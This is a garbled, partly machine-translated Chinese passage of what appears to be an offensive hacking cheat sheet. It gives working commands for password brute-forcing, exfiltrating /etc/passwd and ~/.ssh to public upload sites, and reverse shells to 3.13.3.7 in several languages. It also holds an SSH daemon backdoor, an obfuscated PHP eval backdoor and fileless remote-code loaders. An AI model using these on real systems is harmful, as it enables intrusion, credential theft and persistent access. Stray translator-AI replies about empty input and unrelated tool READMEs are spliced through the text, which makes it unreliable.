ULIST="/usr/share/wordlists/brutespray/mysql/user"
PLIST="/usr/share/wordlists/seclists/Passwords/500-worst-passwords.txt"
T="192.168.0.1"
有用的 Nmap 参数:```shell --script-args userdb="${ULIST}",passdb="${PLIST}",brute.firstOnly
有用的 **Ncrack** 参数:```shell
-U "${ULIST}"
-P "${PLIST}"
有用的 Hydra 参数:```shell -t4 # Limit to 4 tasks -l root # Set username -V # Show each login/password attempt -s 31337 # Set port -S # Use SSL -f # Exit after first valid login
<!--```shell
## HTTP Login
hydra -l admin -P "${PLIST}" http-post-fomr "/admin.php:u=^USER&p-^PASS&f=login:'Enter'" -v
-->```shell
nmap -p 22 --script ssh-brute --script-args ssh-brute.timeout=4s "$T" ncrack -P "${PLIST}" --user root "ssh://${T}" hydra -P "${PLIST}" -l root "ssh://$T"
输入内容为空,没有可翻译的文本。```shell
## Remote Desktop Protocol / RDP
ncrack -P "${PLIST}" --user root -p3389 "${T}"
hydra -P "${PLIST}" -l root "rdp://$T"
I'm ready to translate the chunk, but no input content was provided after "INPUT:". Please supply the text to translate.```shell
hydra -P "${PLIST}" -l user "ftp://$T"
I don't see any content to translate in the INPUT section — it appears to be empty. Please provide the chunk text you'd like translated, and I'll proceed.```shell
## IMAP (email)
nmap -p 143,993 --script imap-brute "$T"
The INPUT section is empty — no content was provided to translate. Please supply the chunk text.```shell
nmap -p110,995 --script pop3-brute "$T"
这是来自较长 Markdown 文档的第 180 个片段(共 494 个片段),正在按顺序翻译。```shell
## MySQL
nmap -p3306 --script mysql-brute "$T"
I apologize, but I notice that the input content for chunk 182 is missing. The "INPUT:" section at the end of your message appears to be empty, so there is no source text for me to translate.
Please provide the actual Markdown content for chunk 182, and I will translate it into Chinese according to the specified rules.```shell
nmap -p5432 --script pgsql-brute "$T"
The input chunk is empty — no content was provided to translate. Please supply the Markdown text for chunk 184.```shell
## SMB (windows)
nmap --script smb-brute "$T"
The input content appears to be empty — no source text was provided for chunk 186. Please supply the chunk content so I can translate it.```shell
nmap -p23 --script telnet-brute --script-args telnet-brute.timeout=8s "$T"
文件上传 — 向系统上传恶意软件或恶意文件。```shell
## VNC
nmap -p5900 --script vnc-brute "$T"
ncrack -P "${PLIST}" --user root "vnc://$T"
hydra -P "${PLIST}" "vnc://$T"
medusa -P "${PLIST}" –u root –M vnc -h "$T"
I received an empty input chunk, so there is no content to translate. Please provide the actual chunk text and I will translate it into Chinese.```shell
msfconsole use auxiliary/scanner/vnc/vnc_login set rhosts 192.168.0.1 set pass_file /usr/share/wordlists/seclists/Passwords/500-worst-passwords.txt run
Nothing provided to translate.```shell
## HTML basic auth
echo admin >user.txt # Try only 1 username
echo -e "blah\naaddd\nfoobar" >pass.txt # Add some passwords to try. 'aaddd' is the valid one.
nmap -p80 --script http-brute --script-args \
http-brute.hostname=pentesteracademylab.appspot.com,http-brute.path=/lab/webapp/basicauth,userdb=user.txt,passdb=pass.txt,http-brute.method=POST,brute.firstOnly \
pentesteracademylab.appspot.com
最简单的方法:在 Segfault Root Server 上输入 exfil
或者使用 curl 并运行你自己的 PHP 外传服务器。
当目标无法访问互联网时,将文件传输到目标的技巧:将二进制文件转换为 ASCII 文本(base64),然后使用剪切与粘贴。(或者使用 gs-netcat 的高级控制台,按 Ctrl-e c 通过同一 TCP 连接传输文件。)
使用 xclip(在你的工作站上)将编码后的数据直接导入剪贴板:```shell
base64 -w0 </etc/issue.net | xclip
#### >>> UU 编码/解码```sh
## uuencode
uuencode /etc/issue.net issue.net-COPY
begin 644 issue.net-COPY
72V%L:2!'3E4O3&EN=7@@4F]L;&EN9PH`
`
end
```sh base64 -d >issue.net-COPY ``` #### >>> Openssl 编码/解码```sh openssl base64VWJ1bnR1IDE4LjA0LjIgTFRTCg==
```sh openssl base64 -d >issue.net-COPY ``` #### >>> xxd 编码/解码```sh xxd -pVWJ1bnR1IDE4LjA0LjIgTFRTCg==
```sh xxd -p -r >issue.net-COPY ``` --- ### 4.ii. 文件传输 - 使用剪切与粘贴4b616c6920474e552f4c696e757820526f6c6c696e670a
在远程计算机上粘贴到文件中(注意使用 <<-'__EOF__' 以避免弄乱制表符或 $ 变量)。```sh
cat >output.txt <<-'EOF'
[...]
EOF ### Finish your cut & paste by typing EOF
---
<a id="xfer-tmux"></a>
### 4.iii. 文件传输 - 使用 *tmux*
在工作站上启动 `tmux`。以任何你喜欢的方式(ssh、gs-netcat 等)连接到目标。
#### 从远程到本地(下载)
使用 [Tmux-Logging](#tmux) 通过终端将大文件从目标下载到你的工作站。
#### 从本地到远程(上传)
在远程端启动你最喜欢的解码工具(base64):```shell
# Use 'Ctrl-b $' to rename this tmux session to 'foo'
base64 -d >screen-xfer.txt
在您的工作站上,并从另一个终端,发送 base64 编码的数据。它将到达您 REMOTE 上的 screen-xfer.txt 中。```shell
tmux send-keys -t foo "$(base64 -w64 </etc/issue.net)"$'\n'
---
<a id="file-transfer-screen"></a>
### 4.vi. 文件传输 - 使用 *screen*
#### 从远程到本地(下载)
在你的本地计算机上运行一个 *screen*,并从你的 shell 中登录远程系统。指示你本地的 screen 将所有输出记录到 screen-xfer.txt:
> CTRL-a : logfile screen-xfer.txt
> CTRL-a H
我们使用 *openssl* 来编码数据,但上述任何编码方法都可以。此命令将在终端中显示 base64 编码的数据,而 *screen* 会将这些数据写入 *screen-xfer.txt*:```sh
## On the remote system encode issue.net
openssl base64 </etc/issue.net
停止本地屏幕记录任何进一步的数据:
CTRL-a H
在本地计算机上解码文件:```sh openssl base64 -d <screen-xfer.txt rm -rf screen-xfer.txt
#### 从本地到远程(上传)
在本地系统上对数据进行编码:```sh
openssl base64 </etc/issue.net >screen-xfer.txt
在远程系统上(并在当前 screen 中):```sh openssl base64 -d
让 *screen* 将 base64 编码的数据读取到 screen 的剪贴板中,然后将数据从剪贴板粘贴到远程系统:
> CTRL-a : readbuf screen-xfer.txt
> CTRL-a : paste .
> CTRL-d
> CTRL-d
注意:由于 [openssl 的一个 bug](https://github.com/openssl/openssl/issues/9355),需要按两次 CTRL-d。
---
<a id="file-transfer-gs-netcat"></a>
### 4.v. 文件传输 - 使用 gs-netcat 和 sftp
使用 [gs-netcat](https://github.com/hackerschoice/gsocket) 并在其中封装 sftp 协议。允许访问 NAT/防火墙后面的主机。```sh
gs-netcat -s MySecret -l -e /usr/lib/sftp-server # Host behind NAT/Firewall
从您的工作站执行以下命令以连接到SFTP服务器:```sh export GSOCKET_ARGS="-s MySecret" # Workstation sftp -D gs-netcat # Workstation
或者要 DUMP 单个文件:```sh
# On the sender
gs-netcat -l <"FILENAME" # Will output a SECRET used by the receiver
# On the receiver
gs-netcat >"FILENAME" # When prompted, enter the SECRET from the sender
在发送方/服务器上:```sh
python -m http.server 8080 --bind 127.0.0.1 &
cloudflared tunnel -url localhost:8080
Receiver: 通过任意浏览器访问该 URL,以查看/下载远程文件系统。
#### 1 - 使用 PHP 上传:
在接收端:```posh
curl -fsSL -o upload_server.php https://github.com/hackerschoice/thc-tips-tricks-hacks-cheat-sheet/raw/master/tools/upload_server.php
mkdir upload
(cd upload; php -S 127.0.0.1:8080 ../upload_server.php &>/dev/null &)
cloudflared tunnel --url localhost:8080 --no-autoupdate
在发送方:```posh
up() { curl -fsSL -F "file=@${1:?}" https://ABOVE-URL-HERE.trycloudflare.com; }
up warez.tar.gz up /etc/passwd
#### 2 - 使用 PYTHON 上传:
在接收端:```posh
pip install uploadserver
python -m uploadserver &
cloudflared tunnel -url localhost:8000
在发件人端:```posh curl -X POST https://CF-URL-CHANGE-ME.trycloudflare.com/upload -F '[email protected]'
---
<a id="download"></a>
### 4.vii. 不使用 curl 下载文件
仅使用 Python 下载:```sh
# Declare a curl-alternative
purl() {
local url="${1:?}"
{ [[ "${url:0:8}" == "https://" ]] || [[ "${url:0:7}" == "http://" ]]; } || url="https://${url}"
"$(which python3 || which python || which python2 || which false)" -c "\
import urllib.request
import sys
import ssl
ctx = ssl.create_default_context()
ctx.check_hostname = False
ctx.verify_mode = ssl.CERT_NONE
sys.stdout.buffer.write(urllib.request.urlopen(\"$url\", timeout=10, context=ctx).read())"
}
# purl ipinfo.io
示例:使用 purl 安装 gsocket:```sh
source <(purl https://raw.githubusercontent.com/hackerschoice/hackshell/main/hackshell.sh)
&& bin curl
&& bash -c "$(curl -fsSL https://gsocket.io/y)"
&& xdestruct
使用 OpenSSL,仅下载:```sh
surl() {
local r="${1#*://}"
local opts=("-quiet" "-ign_eof")
IFS=/ read -r host query <<<"${r}"
openssl s_client --help 2>&1| grep -qFm1 -- -ignore_unexpected_eof && opts+=("-ignore_unexpected_eof")
openssl s_client --help 2>&1| grep -qFm1 -- -verify_quiet && opts+=("-verify_quiet")
echo -en "GET /${query} HTTP/1.0\r\nHost: ${host%%:*}\r\n\r\n" \
| openssl s_client "${opts[@]}" -connect "${host%%:*}:443" \
| sed '1,/^\r\{0,1\}$/d'
}
# surl ipinfo.io
使用 Perl,仅下载:```sh lurl() { local url="${1:?}" { [[ "${url:0:8}" == "https://" ]] || [[ "${url:0:7}" == "http://" ]]; } || url="https://${url}" perl -e 'use LWP::Simple qw(get); my $url = '"'${1:?}'"'; print(get $url);' }
使用 bash,仅下载:```sh
burl() {
IFS=/ read -r proto x host query <<<"$1"
exec 3<>"/dev/tcp/${host}/${PORT:-80}"
echo -en "GET /${query} HTTP/1.0\r\nHost: ${host}\r\n\r\n" >&3
(while read -r l; do echo >&2 "$l"; [[ $l == $'\r' ]] && break; done && cat ) <&3
exec 3>&-
}
# burl http://ipinfo.io
# PORT=31337 burl http://37.120.235.188/blah.tar.gz >blah.tar.gz
复制粘贴到您的 bash 中:```sh transfer() { [[ $# -eq 0 ]] && { echo -e >&2 "Usage:\n transfer [file/directory]\n transfer [name] <FILENAME"; return 255; } [[ ! -t 0 ]] && { curl -SsfL --progress-bar -T "-" "https://transfer.sh/${1}"; return; } [[ ! -e "$1" ]] && { echo -e >&2 "Not found: $1"; return 255; } [[ -d "$1" ]] && { (cd "${1}/.."; tar cfz - "${1##*/}")|curl -SsfL --progress-bar -T "-" "https://transfer.sh/${1##*/}.tar.gz"; return; } curl -SsfL --progress-bar -T "$1" "https://transfer.sh/${1##*/}" }
然后上传一个文件或目录:```sh
transfer /etc/passwd # A single file
transfer ~/.ssh # An entire directory
(curl ipinfo.io; hostname; uname -a; cat /proc/cpuinfo) | transfer "$(hostname)"
我们最喜欢的公共上传站点列表。
非常适合同步大量目录或重新开始中断的传输。以下示例通过从发送方到接收方的单个 TCP 连接,将名为 'warez' 的目录传输到接收方。
接收方:```posh echo -e "[up]\npath=upload\nread only=false\nuid=$(id -u)\ngid=$(id -g)" >r.conf mkdir upload rsync --daemon --port=31337 --config=r.conf --no-detach
发件人:```posh
rsync -av warez rsync://1.2.3.4:31337/up
使用相同方式加密(OpenSSL):
接收者:```posh
openssl req -subj '/CN=example.com/O=EL/C=XX' -new -newkey ed25519 -days 14 -nodes -x509 -keyout ssl.key -out ssl.crt cat ssl.key ssl.crt >ssl.pem rm -f ssl.key ssl.crt mkdir upload cat ssl.pem socat OPENSSL-LISTEN:31337,reuseaddr,fork,cert=ssl.pem,cafile=ssl.pem EXEC:"rsync --server -logtprR --safe-links --partial upload"
发件人:```posh
# Copy the ssl.pem from the Receiver to the Sender and send directory named 'warez'
IP=1.2.3.4
PORT=31337
# Using rsync + socat-ssl
up1() {
rsync -ahPRv -e "bash -c 'socat - OPENSSL-CONNECT:${IP:?}:${PORT:-31337},cert=ssl.pem,cafile=ssl.pem,verify=0' #" -- "$@" 0:
}
# Using rsync + openssl
up2() {
rsync -ahPRv -e "bash -c 'openssl s_client -connect ${IP:?}:${PORT:-31337} -servername example.com -cert ssl.pem -CAfile ssl.pem -quiet 2>/dev/null' #" -- "$@" 0:
}
up1 /var/www/./warez
up2 /var/www/./warez
Rsync 可以与 https / cloudflared 原始 TCP 隧道 结合使用来进行数据外传。
(若要从 Windows 外传数据,请使用 gsocket windows package 中的 rsync.exe)。另一种噪音更大的解决方案是 syncthing。
专业提示:懒惰的黑客只需在 segfault.net 上输入 exfil。
在接收端(例如 segfault.net)启动 Cloudflare-Tunnel 和 WebDAV:```sh cloudflared tunnel --url localhost:8080 &
wsgidav --port=8080 --root=. --auth=anonymous
在另一台服务器上:```sh
# Upload a file to your workstation
curl -T file.dat https://example-foo-bar-lights.trycloudflare.com
# Create a directory remotely
curl -X MKCOL https://example-foo-bar-lights.trycloudflare.com/sources
# Create a directory hierarchy remotely
find . -type d | xargs -I{} curl -X MKCOL https://example-foo-bar-lights.trycloudflare.com/sources/{}
# Upload all *.c files (in parallel):
find . -name '*.c' | xargs -P10 -I{} curl -T{} https://example-foo-bar-lights.trycloudflare.com/sources/{}
在文件资源管理器中从 Windows 访问共享(以便拖放文件):``` \example-foo-bar-lights.trycloudflare.com@SSL\sources
或者在 Windows 上挂载 WebDAV 共享(Z:/):```
net use * \\example-foo-bar-lights.trycloudflare.com@SSL\sources
虽然有数不胜数的上传服务,但 TG 是一个简洁的替代方案。从 TG BotFather 获取一个 TG-Bot-Token。然后创建一个新的 TG 群组,并将你的机器人添加到该群组。获取该群组的 chat_id:```sh curl -s "https://api.telegram.org/bot/getUpdates" | jq -r '.result[].message.chat.id' | uniq
请提供需要翻译的Markdown内容。```sh
# Upload file.zip straight into the group chat:
curl -sF [email protected] "https://api.telegram.org/bot<TG-BOT-TOKEN>/sendDocument?chat_id=<TG-CHAT-ID>"
提示:使用 https://www.revshells.com/ 👌
5.i.a. 使用 gs-netcat 的反向 Shell(加密)
参见 6. 后门,了解如何使用 https://gsocket.io/deploy 通过一行命令部署并访问功能完整的 PTY 反向 Shell。
在你的系统上启动 netcat 监听 1524 端口:```sh nc -nvlp 1524
连接后,[升级](#reverse-shell-interactive)你的 shell 为完全交互式的 PTY shell。或者使用 [pwncat-cs](https://pwncat.org/) 代替 netcat:```sh
pwncat -lp 1524
# Press "Ctrl-C" if pwncat gets stuck at "registered new host ...".
# Then type "back" to get the prompt of the remote shell.
在远程系统上,此命令将反向连接到您的系统(IP = 3.13.3.7,端口 1524)并为您提供 shell 提示符:```sh
(bash -i &>/dev/tcp/3.13.3.7/1524 0>&1 &)
bash -c '(exec bash -i &>/dev/tcp/3.13.3.7/1524 0>&1 &)'
bash -c '(exec -a kqueue bash -i &>/dev/tcp/3.13.3.7/1524 0>&1 &)'
或者,在远程系统上,将其放入 `~/.profile` 或 crontab 中,以重新启动反弹 shell(并防止多个实例被启动):```sh
fuser /dev/shm/.busy &>/dev/null || (bash -c 'while :; do touch /dev/shm/.busy; exec 3</dev/shm/.busy; bash -i &>/dev/tcp/3.13.3.7/1524 0>&1; sleep 360; done' &>/dev/null &)
使用 curlshell。这也适用于通过代理,以及当禁止与外部世界直接 TCP 连接时:```sh
openssl req -x509 -newkey rsa:2048 -keyout key.pem -out cert.pem -sha256 -days 3650 -nodes -subj "/CN=THC"
./curlshell.py --certificate cert.pem --private-key key.pem --listen-port 8080
```sh
# On the target:
curl -skfL https://3.13.3.7:8080 | bash
启动 ncat 以监听多个连接:```sh ncat -kltv 1524
```sh
# On the target:
C="curl -Ns telnet://3.13.3.7:1524"; $C </dev/null 2>&1 | sh 2>&1 | $C >/dev/null
5.i.e. 使用 OpenSSL 的反向 Shell(加密)```sh
openssl req -x509 -newkey rsa:2048 -keyout key.pem -out cert.pem -sha256 -days 3650 -nodes -subj "/CN=THC"
openssl s_server -port 1524 -cert cert.pem -key key.pem
### 要求
- Docker
- Docker Compose
### 安装
克隆仓库并运行 docker compose:
`git clone https://github.com/arthurdd/scripthunter-framework.git`
Python 脚本会自动生成安装。为此,运行以下命令:
`python3 install.py --install`
### 使用
通过 Python 脚本运行 docker compose 后,框架会自动执行。要进行新的查询,运行 Python 脚本:
`python3 install.py --run`
### 访问之前的数据
所有收集的数据都存储在位于 `app/database.db` 的 sqlite3 数据库中。为了更好地查看数据,需要使用 SGBD,例如 DBeaver。连接到数据库后,执行以下查询:
`SELECT * FROM software WHERE software.potentially_phishing = 1 ORDER BY software.name ASC;`
### 防火墙
Scripthunter 将通过 Docker 容器的 IP 地址运行。为了使其正常工作,需要进行相应的防火墙配置,例如根据容器的 IP 地址开放端口和配置本地网络。
### 注意事项
Scripthunter 是一个可能被用于恶意目的的工具。不当使用该工具的责任在于用户。开发者不对因不当使用该工具而造成的任何损害负责。
### 待办
- [ ] 其他改进```sh
# On the target, start an openssl reverse shell as background process:
({ openssl s_client -connect 3.13.3.7:1524 -quiet </dev/fd/3 3>&- 2>/dev/null | sh 2>&3 >&3 3>&- ; } 3>&1 | : & )
嵌入式系统并不总是有 Bash,/dev/tcp/ 技巧将无法使用。还有许多其他方式(Python、PHP、Perl 等)。我们最喜欢的是上传 netcat 并使用 netcat 或 telnet:
在远程系统上:```sh nc -e /bin/sh -vn 3.13.3.7 1524
如果 *'-e'* 不受支持时的变体:```sh
{ nc -vn 3.13.3.7 1524 </dev/fd/3 3>&- | sh 2>&3 >&3 3>&- ; } 3>&1 | :
{ nc 3.13.3.7 1524 </dev/fd/2|sh;} 2>&1|:。 (感谢 IA_PD)。| : 技巧在 C-Shell/tcsh(FreeBSD)、原始 Bourne shell(Solaris)或 Korn shell(AIX)上无效。请改用 mkfifo。适用于较旧 /bin/sh 的变体:```sh mkfifo /tmp/.io; sh -i 2>&1 </tmp/.io | nc -vn 3.13.3.7 1524 >/tmp/.io
Telnet变体:```sh
mkfifo /tmp/.io; sh -i 2>&1 </tmp/.io | telnet 3.13.3.7 1524 >/tmp/.io
不支持 mkfifo 时的 Telnet 变体(Ulg!):```sh touch /tmp/.fio; tail -f /tmp/.fio | sh -i | telnet 3.13.3.7 31337 >/tmp/.fio
注意:登录后别忘了执行 `rm /tmp/.fio`。
<a id="revese-shell-remote-moe"></a>
**5.i.h. 通过 remote.moe 和 ssh 实现反向 Shell(加密)**
可以通过 [remote.moe](https://remote.moe) 隧道传输原始 TCP(例如 bash 反向 Shell):
在你的工作站上:```sh
# First Terminal - Create a remote.moe tunnel to your workstation
ssh-keygen -q -t rsa -N "" -f .r # New key creates a new remote.moe-address
ssh -i .r -R31337:0:8080 -o StrictHostKeyChecking=no [email protected]; rm -f .r
# Note down the 'remote.moe' address which will look something like
# uydsgl6i62nrr2zx3bgkdizlz2jq2muplpuinfkcat6ksfiffpoa.remote.moe
# Second Terminal - start listening for the reverse shell
nc -vnlp 8080
在目标上(需要 SSH 和 Bash):```sh bash -c '(killall ssh; rm -f /tmp/.r; ssh-keygen -q -t rsa -N "" -f /tmp/.r; ssh -i /tmp/.r -o StrictHostKeyChecking=no -L31338:uydsgl6i62nrr2zx3bgkdizlz2jq2muplpuinfkcat6ksfiffpoa.remote.moe:31337 -Nf remote.moe; bash -i &>/dev/tcp/0/31338 0>&1 &)'
在目标上(替代方案;需要 ssh、bash 和 mkfifo):```sh
rm -f /tmp/.p /tmp/.r; ssh-keygen -q -t rsa -N "" -f /tmp/.r && mkfifo /tmp/.p && (bash -i</tmp/.p 2>1 |ssh -i /tmp/.r -o StrictHostKeyChecking=no -W uydsgl6i62nrr2zx3bgkdizlz2jq2muplpuinfkcat6ksfiffpoa.remote.moe:31337 remote.moe>/tmp/.p &)
使用 Python 的反向 Shell```sh python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("3.13.3.7",1524));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'
<a id="reverse-shell-perl"></a>
**5.i.j. 使用 Perl 的反向 Shell**```sh
# method 1
perl -e 'use Socket;$i="3.13.3.7";$p=1524;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'
# method 2
perl -MIO -e '$p=fork;exit,if($p);foreach my $key(keys %ENV){if($ENV{$key}=~/(.*)/){$ENV{$key}=$1;}}$c=new IO::Socket::INET(PeerAddr,"3.13.3.7:1524");STDIN->fdopen($c,r);$~->fdopen($c,w);while(<>){if($_=~ /(.*)/){system $1;}};'
5.i.k. 使用 PHP 的反弹 Shell```sh php -r '$sock=fsockopen("3.13.3.7",1524);exec("/bin/bash -i <&3 >&3 2>&3");'
<a id="reverse-shell-upgrade"></a>
<a id="reverse-shell-pty"></a>
**5.ii.a. 将反弹 shell 升级为 PTY shell**
上述任何反弹 shell 都有局限性。例如 *sudo bash* 或 *top* 将无法正常工作。为了使其正常工作,我们必须将 shell 升级为真正的 PTY shell:```sh
# Using script
exec script -qc /bin/bash /dev/null # Linux
exec script -q /dev/null /bin/bash # BSD
Since there is no content provided after "INPUT:", there is nothing to translate. The output should be empty to preserve seamless concatenation.```sh
exec python -c 'import pty; pty.spawn("/bin/bash")'
<a id="reverse-shell-interactive"></a>
**5.ii.b. 将反向 shell 升级为完全交互式 shell**
……如果我们还想使用 Ctrl-C 等快捷键,那么就必须彻底将反向 shell 升级为真正的、全彩的完全交互式 shell:```sh
# On the target host spawn a PTY using any of the above examples:
python -c 'import pty; pty.spawn("/bin/bash")'
# Now Press Ctrl-Z to suspend the connection and return to your own terminal.
I received no content to translate — the input section after "INPUT:" is empty. Please provide the Markdown text for chunk 322/494 and I'll translate it into Chinese following all the specified rules.```
stty raw -echo icrnl opost; fg
* [Adalanche](andhttps://github.com/lkarlslund/adalanche) - Active Directory ACL 可视化工具和资源管理器 - 谁可以做什么?```sh
# On target host
export SHELL=/bin/bash
export TERM=xterm-256color
reset -I
stty -echo;printf "\033[18t";read -rdt R;stty sane $(echo "${R:-8;80;25}"|awk -F";" '{ printf "rows "$3" cols "$2; }')
# Pimp up your prompt
# PS1='USERS=$(who | wc -l) LOAD=$(cut -f1 -d" " /proc/loadavg) PS=$(ps -e --no-headers|wc -l) \[\e[36m\]\u\[\e[m\]@\[\e[32m\]\h:\[\e[33;1m\]\w \[\e[0;31m\]\$\[\e[m\] '
PS1='\[\033[36m\]\u\[\033[m\]@\[\033[32m\]\h:\[\033[33;1m\]\w\[\033[m\]\$ '
5.ii.c. 使用 socat 的反向 shell(完全交互式)
……或者安装 socat,无需太多折腾就能完成:```sh
socat file:tty,raw,echo=0 tcp-listen:1524
socat exec:'bash -li',pty,stderr,setsid,sigint,sane tcp:3.13.3.7:1524
---
<a id="backdoor"></a>
## 6. 后门
有关简单的单行反向 Shell,请参阅 [反向 Shell / 哑 Shell](#reverse-shell)。
<a id="gsnc"></a>
**6.i. 使用 gs-netcat 的反向 Shell**
我们主要使用 gs-netcat 的自动部署脚本:[https://www.gsocket.io/deploy](https://www.gsocket.io/deploy)。```sh
bash -c "$(curl -fsSLk https://gsocket.io/y)"
或```sh bash -c "$(wget --no-check-certificate -qO- https://gsocket.io/y)"
或者通过运行你自己的部署服务器来部署 gsocket:```sh
LOG=results.log bash -c "$(curl -fsSL https://gsocket.io/ys)" # Notice '/ys' instead of '/y'
6.ii. 使用 sshx.io 的反向 shell(加密)
从您的 Web 浏览器访问远程 shell:https://sshx.io。
通过管道将 sshx-backdoor 直接注入内存:```shell
echo $(curl -SsfL https://s3.amazonaws.com/sshx/sshx-$(uname -m)-unknown-linux-musl.tar.gz|tar xfOz - sshx 2>/dev/null
|nohup perl '-efor(319,279){($f=syscall$_,$",1)>0&&last};open($o,">&=".$f);print$o();exec{"/proc/$$/fd/$f"}"/usr/bin/python3",("-q")' 2>/dev/null
|{ read x;echo "$x";}&)
或者用笨办法:```shell
curl -SsfL https://s3.amazonaws.com/sshx/sshx-$(uname -m)-unknown-linux-musl.tar.gz|tar xfOz - sshx 2>/dev/null >.s \
&& chmod 755 .s \
&& (PATH=.:$PATH .s -q >.u 2>/dev/null &);
for _ in {1..10}; do [ -s .u ] && break;sleep 1;done;cat .u;rm -f .u .s;
apt update 后仍然存活authorized_keys 或 PAM。将你的密钥添加到 authorized_keys 已经用烂了 😩。相反,以 root 身份,在任何目标上剪切并粘贴以下内容 一次。它会在 SSHD 的配置中添加一行,并让你永远能够登录:```shell
backdoor_sshd() {
local B="/etc/ssh"
local K="${B}/ssh_host_ed25519_key" D="${B}/sshd_config.d"
local N=$(cd "${D}" 2>/dev/null|| exit; shopt -s nullglob; echo .conf)
[ ! -f "$K" ] && K="${B}/ssh_host_rsa_key"
[ -n "$N" ] && N="${N%%.conf}.conf"
N="${D}/${N:-50-cloud-init.conf}"
[ ! -d "${D}" ] && N="${B}/sshd_config"
{ [ ! -f "$K" ] || [ ! -f "$K".pub ]; } && return
grep -iqm1 '^PermitRootLogin\s+no' "${B}/sshd_config" && echo >&2 "WARN: PermitRootLogin blocking in sshd_config"
echo -e "\e[0;31mYour id_ed25519 to log in to this server as any user:\e[0;33m\n$(cat "${K}")\e[0m"
grep -qm1 '^AuthorizedKeysFile' "$N" 2>/dev/null && { echo >&2 "WARN: Already backdoored"; return; }
echo -e "AuthorizedKeysFile\t.ssh/authorized_keys .ssh/authorized_keys2 ${K}.pub" >>"${N}" || return
touch -r "$K" "$N" "$D"
&& declare -F ctime >/dev/null && ctime "$N" "$D"
command -v systemctl >/dev/null && { systemctl restart ssh;:;} || service ssh restart
}
backdoor_sshd
工作原理:
- SSHD 主机密钥只是一把普通的 ed25519 密钥。
- 任何 ed25519 密钥都可用于验证用户身份。
- SSHD 会检查 `~/.ssh/authorized_keys`(但这个技巧已被过度使用)。
- 相反,配置 SSHD 也检查 `/etc/ssh/sshd_host_ed25519_key.pub` 以获取登录认证密钥。
- SSHD 现在将检查 `~/.ssh/authorized_keys` _和_ `/etc/ssh/ssh_host_ed25519_key.pub` 以获取有效的登录密钥。
- 使用 `/etc/ssh/sshd_host_ed25519_key` 私钥登录目标。
<a id="backdoor-network"></a>
**6.vi. 远程访问整个网络**
安装 [gs-netcat](https://github.com/hackerschoice/gsocket)。它会在主机的私有局域网上创建一个 SOCKS 出口节点,可通过 Global Socket Relay Network 访问,而无需运行你自己的中继服务器(例如,直接从你的工作站访问远程私有局域网):```sh
gs-netcat -l -S # compromised Host
现在,您可以从自己的工作站在宿主机的私有局域网上连接到任意主机:```sh gs-netcat -p 1080 # Your workstation.
socat - "SOCKS4a:127.1:route.local:22"
阅读 [通过 Socks 代理使用任意工具](#scan-proxy)。
其他方法:
* [Gost/Cloudflared](https://iq.thc.org/tunnel-via-cloudflare-to-any-tcp-service) - 我们自己写的文章
* [Reverse Wireguard](https://thc.org/segfault/wireguard) - 从 segfault.net 到任何(内部)网络。
<a id="php-backdoor"></a>
**6.v. 最小的 PHP 后门**
将这一行添加到任何 PHP 文件的开头:```php
<?php $i=base64_decode("aWYoaXNzZXQoJF9QT1NUWzBdKSl7c3lzdGVtKCRfUE9TVFswXSk7ZGllO30K");eval($i);?>
I'll decode the base64 content first, then translate it.
Decoding the base64:
## RansomHunter - Ransomware Detection Tool
RansomHunter is an advanced ransomware detection and analysis tool designed to identify ransomware activity on endpoints using behavioral analysis, machine learning, and real-time monitoring. It provides security teams with rapid detection capabilities and detailed forensic insights into ransomware attacks.
**Features:**
- Real-time behavioral monitoring of file system activities
- Machine learning-based anomaly detection
- Ransomware-specific indicator scanning (file encryption patterns, ransom notes)
- Process activity monitoring and malicious behavior flagging
- Automated quarantine and response actions
- Detailed forensic reports with IOCs (Indicators of Compromise)
- Integration with SIEM solutions via syslog/CEF format
- Lightweight agent with low CPU/memory footprint
**Installation:**
```bash
git clone https://github.com/example/ransomhunter.git
cd ransomhunter
pip install -r requirements.txt
Usage:
python ransomhunter.py --scan /path/to/monitor --alert-level high
Configuration:
Edit config.yaml to set monitoring paths, alert thresholds, and SIEM forwarding options.
Example configuration:
monitor:
paths:
- /var/www
- /home/user/Documents
alert_level: high
quarantine: true
siem:
enabled: true
protocol: syslog
host: 192.168.1.100
port: 514
License: MIT
Author: Security Research Team
Now I'll translate this into Chinese, preserving all Markdown structure, code blocks, and technical terms.## RansomHunter - 勒索软件检测工具
RansomHunter 是一款先进的勒索软件检测与分析工具,旨在通过行为分析、机器学习和实时监控来识别终端上的勒索软件活动。它为安全团队提供快速检测能力以及针对勒索软件攻击的详细取证见解。
**功能特性:**
- 文件系统活动的实时行为监控
- 基于机器学习的异常检测
- 勒索软件特定指标扫描(文件加密模式、勒索信)
- 进程活动监控与恶意行为标记
- 自动隔离与响应操作
- 包含 IOC(失陷指标)的详细取证报告
- 通过 syslog/CEF 格式与 SIEM 解决方案集成
- 轻量级代理,CPU/内存占用低
**安装:**
```bash
git clone https://github.com/example/ransomhunter.git
cd ransomhunter
pip install -r requirements.txt
使用方法:
python ransomhunter.py --scan /path/to/monitor --alert-level high
配置:
编辑 config.yaml 以设置监控路径、警报阈值和 SIEM 转发选项。
配置示例:
monitor:
paths:
- /var/www
- /home/user/Documents
alert_level: high
quarantine: true
siem:
enabled: true
protocol: syslog
host: 192.168.1.100
port: 514
许可证: MIT
作者: 安全研究团队
---```php if(isset($_POST[0])){system($_POST[0]);die;}
测试后门:```sh
### 1. Optional: Start a test PHP server
cd /var/www/html && php -S 127.0.0.1:8080
### Without executing a command
curl http://127.0.0.1:8080/test.php
### With executing a command
curl http://127.0.0.1:8080/test.php -d 0="ps fax; uname -mrs; id"
有时 system() 会被禁止。添加 eval() 以允许远程 PHP 代码执行作为备用。将其隐藏在其他 base64 注释中,以达到混淆效果:```php
使用以下任一方式触发以执行命令或 PHP 代码:```shell
# Execute just command
curl http://127.0.0.1:8080/x.php -d0='id'
# Execute just PHP code
curl http://127.0.0.1:8080/x.php -d0='' -d1='echo file_get_contents("/etc/hosts");'
通过使用反向DNS触发器,在_无法_从公共互联网访问的服务器上执行任意命令。
将这一行(植入体)添加到任何PHP文件的开头:```php
